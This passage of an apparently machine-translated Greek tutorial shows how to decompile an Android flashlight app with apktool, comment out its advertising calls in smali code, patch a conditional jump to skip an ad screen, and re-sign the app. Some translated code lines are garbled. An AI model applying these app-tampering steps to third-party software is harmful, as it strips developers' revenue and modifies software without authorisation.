Μετά από αυτό, κατεβάστε το πακέτο στο smartphone σας, εγκαταστήστε το και εκκινήστε το. Voila, η διαφήμιση έφυγε! Αντίθετα, όμως, εμφανίστηκε ένα μήνυμα ότι δεν έχουμε Internet ή ότι δεν έχουμε τα κατάλληλα δικαιώματα. Θεωρητικά, αυτό μπορεί να είναι αρκετό, αλλά το μήνυμα φαίνεται ενοχλητικό και, για να είμαστε ειλικρινείς, απλά σταθήκαμε τυχεροί με μια ηλίθια εφαρμογή. Το κανονικά γραμμένο λογισμικό πιθανότατα θα διευκρινίσει τα διαπιστευτήριά του ή θα ελέγξει για σύνδεση στο Διαδίκτυο και διαφορετικά απλώς θα αρνηθεί την εκκίνηση. Πώς να είσαι σε αυτή την περίπτωση; Φυσικά, επεξεργαστείτε τον κώδικα.

Συνήθως, οι συντάκτες εφαρμογών δημιουργούν ειδικές κλάσεις για την εμφάνιση διαφημίσεων και μεθόδους κλήσης αυτών των τάξεων όταν εκκινείται η εφαρμογή ή μία από τις «δραστηριότητές» της (με απλά λόγια, οθόνες εφαρμογών). Ας προσπαθήσουμε να βρούμε αυτές τις τάξεις. Πηγαίνουμε στον κατάλογο smali, μετά com (το org περιέχει μόνο την ανοιχτή βιβλιοθήκη γραφικών cocos2d), μετά kauf (εδώ είναι, γιατί αυτό είναι το όνομα του προγραμματιστή και όλος ο κώδικάς του είναι εκεί) - και εδώ είναι, τον κατάλογο μάρκετινγκ. Μέσα βρίσκουμε ένα σωρό αρχεία με την επέκταση smali. Πρόκειται για κατηγορίες, και η πιο αξιοσημείωτη από αυτές είναι η κατηγορία Ad.smali, από το όνομα της οποίας είναι εύκολο να μαντέψει κανείς ότι είναι αυτή που εμφανίζει διαφημίσεις.

Θα μπορούσαμε να αλλάξουμε τη λογική της λειτουργίας του, αλλά θα ήταν πολύ πιο εύκολο να αφαιρέσουμε απλώς τις κλήσεις σε οποιαδήποτε από τις μεθόδους του από την ίδια την εφαρμογή. Επομένως, αφήνουμε τον κατάλογο μάρκετινγκ και πηγαίνουμε στον γειτονικό κατάλογο σωματιδίων και μετά στον εικονικό φακό. Το αρχείο MainActivity.smali αξίζει εδώ ιδιαίτερη προσοχή. Αυτή είναι μια τυπική κλάση Android που δημιουργείται από το Android SDK και εγκαθίσταται ως σημείο εισόδου στην εφαρμογή (ανάλογα με την κύρια λειτουργία στο C). Ανοίξτε το αρχείο για επεξεργασία.

Στο εσωτερικό υπάρχει κωδικός smali (τοπικός συναρμολογητής). Είναι αρκετά μπερδεμένο και δυσανάγνωστο λόγω της φύσης του χαμηλού επιπέδου, επομένως δεν θα το μελετήσουμε, αλλά απλώς θα βρούμε όλες τις αναφορές στην κατηγορία διαφημίσεων στον κώδικα και θα τις σχολιάσουμε. Εισάγουμε τη γραμμή "Διαφήμιση" στην αναζήτηση και φτάνουμε στη γραμμή 25:

Ιδιωτική διαφήμιση πεδίου:Lcom/kauf/μάρκετινγκ/Διαφήμιση;

Εδώ δημιουργείται ένα πεδίο διαφήμισης για την αποθήκευση ενός αντικειμένου κατηγορίας διαφημίσεων. Σχολιάζουμε τοποθετώντας ένα σύμβολο ### μπροστά από τη γραμμή. Συνεχίζουμε την αναζήτηση. Γραμμή 423:

New-instance v3, Lcom/kauf/marketing/Ad;

Εδώ γίνεται η δημιουργία αντικειμένου. Ας σχολιάσουμε. Συνεχίζουμε την αναζήτηση και βρίσκουμε στις γραμμές 433, 435, 466, 468, 738, 740, 800 και 802 κλήσεις σε μεθόδους της κατηγορίας Ad. Ας σχολιάσουμε. Δες ότι αυτό είναι. Αποθηκεύσετε. Τώρα το πακέτο πρέπει να συναρμολογηθεί ξανά και να ελεγχθεί για λειτουργικότητα και παρουσία διαφήμισης. Για την καθαρότητα του πειράματος, επιστρέφουμε τη γραμμή που αφαιρέθηκε από το AndroidManifest.xml, συναρμολογούμε το πακέτο, το υπογράφουμε και το εγκαθιστούμε.

Το πειραματόζωό μας. Η διαφήμιση είναι ορατή

Ωχ! Η διαφήμιση εξαφανίστηκε μόνο κατά την εκτέλεση της εφαρμογής, αλλά παρέμεινε στο κύριο μενού, το οποίο βλέπουμε όταν εκκινούμε το λογισμικό. Λοιπόν, περιμένετε, αλλά το σημείο εισόδου είναι η κλάση MainActivity και η διαφήμιση εξαφανίστηκε κατά την εκτέλεση της εφαρμογής, αλλά παρέμεινε στο κύριο μενού, άρα το σημείο εισόδου είναι διαφορετικό; Για να προσδιορίσετε το πραγματικό σημείο εισόδου, ανοίξτε ξανά το αρχείο AndroidManifest.xml. Και ναι, περιέχει τις ακόλουθες γραμμές:

Μας λένε (και, πιο σημαντικό, στο android) ότι μια δραστηριότητα με το όνομα Έναρξη πρέπει να ξεκινήσει ως απάντηση στη δημιουργία μιας πρόθεσης (συμβάντος) android.intent.action.MAIN από την κατηγορία android.intent.category.LAUNCHER. Αυτό το συμβάν δημιουργείται όταν πατάτε στο εικονίδιο της εφαρμογής στη λειτουργία εκκίνησης, επομένως καθορίζει το σημείο εισόδου, δηλαδή την κλάση Έναρξη. Πιθανότατα, ο προγραμματιστής πρώτα έγραψε μια εφαρμογή χωρίς κύριο μενού, το σημείο εισόδου στο οποίο ήταν η τυπική κλάση MainActivity, και στη συνέχεια πρόσθεσε ένα νέο παράθυρο (δραστηριότητα) που περιέχει το μενού και περιγράφεται στην κλάση Έναρξη, και το έκανε χειροκίνητα την καταχώρηση σημείο.

Ανοίξτε το αρχείο Start.smali και αναζητήστε ξανά τη γραμμή "Ad", βρίσκουμε στις γραμμές 153 και 155 μια αναφορά στην κλάση FirstAd. Είναι επίσης στον πηγαίο κώδικα και, αν κρίνουμε από το όνομα, είναι υπεύθυνος για την εμφάνιση διαφημίσεων στην κύρια οθόνη. Ας δούμε περαιτέρω, υπάρχει η δημιουργία μιας παρουσίας της κλάσης FirstAd και μιας πρόθεσης, η οποία στο πλαίσιο σχετίζεται με αυτήν την περίπτωση, και στη συνέχεια η ετικέτα cond_10, η υπό όρους μετάβαση στην οποία πραγματοποιείται ακριβώς πριν από τη δημιουργία μιας παρουσίας της κλάσης :

If-ne p1, v0, :cond_10 .line 74 new-instance v0, Landroid/content/Intent; ... :cond_10

Πιθανότατα, το πρόγραμμα υπολογίζει με κάποιο τρόπο τυχαία εάν η διαφήμιση πρέπει να εμφανίζεται στην κύρια οθόνη και, αν όχι, μεταβαίνει απευθείας στο cond_10. Εντάξει, ας απλοποιήσουμε την εργασία της και ας αντικαταστήσουμε τη μετάβαση υπό όρους με μια άνευ όρων:

#if-ne p1, v0, :cond_10 goto:cond_10

Δεν υπάρχουν περισσότερες αναφορές για το FirstAd στον κώδικα, επομένως κλείνουμε το αρχείο και συναρμολογούμε ξανά τον εικονικό μας φακό χρησιμοποιώντας το apktool. Αντιγράψτε το στο smartphone σας, εγκαταστήστε το, εκκινήστε το. Voila, όλες οι διαφημίσεις έχουν εξαφανιστεί, για το οποίο συγχαίρουμε όλους μας.

Αποτελέσματα

Αυτό το άρθρο είναι απλώς μια σύντομη εισαγωγή στις μεθόδους εισβολής και τροποποίησης εφαρμογών Android. Πολλά ζητήματα παρέμειναν στο παρασκήνιο, όπως η κατάργηση προστασίας, η ανάλυση ασαφούς κώδικα, η μετάφραση και η αντικατάσταση πόρων εφαρμογών, καθώς και η τροποποίηση εφαρμογών που γράφτηκαν με χρήση του Android NDK. Ωστόσο, έχοντας βασικές γνώσεις, είναι μόνο θέμα χρόνου να τα καταλάβουμε όλα.



Συνιστούμε να διαβάσετε

Μπλουζα